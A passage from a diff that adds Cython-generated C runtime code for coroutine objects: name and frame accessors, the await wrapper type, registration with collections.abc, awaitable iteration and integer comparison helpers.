--Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb 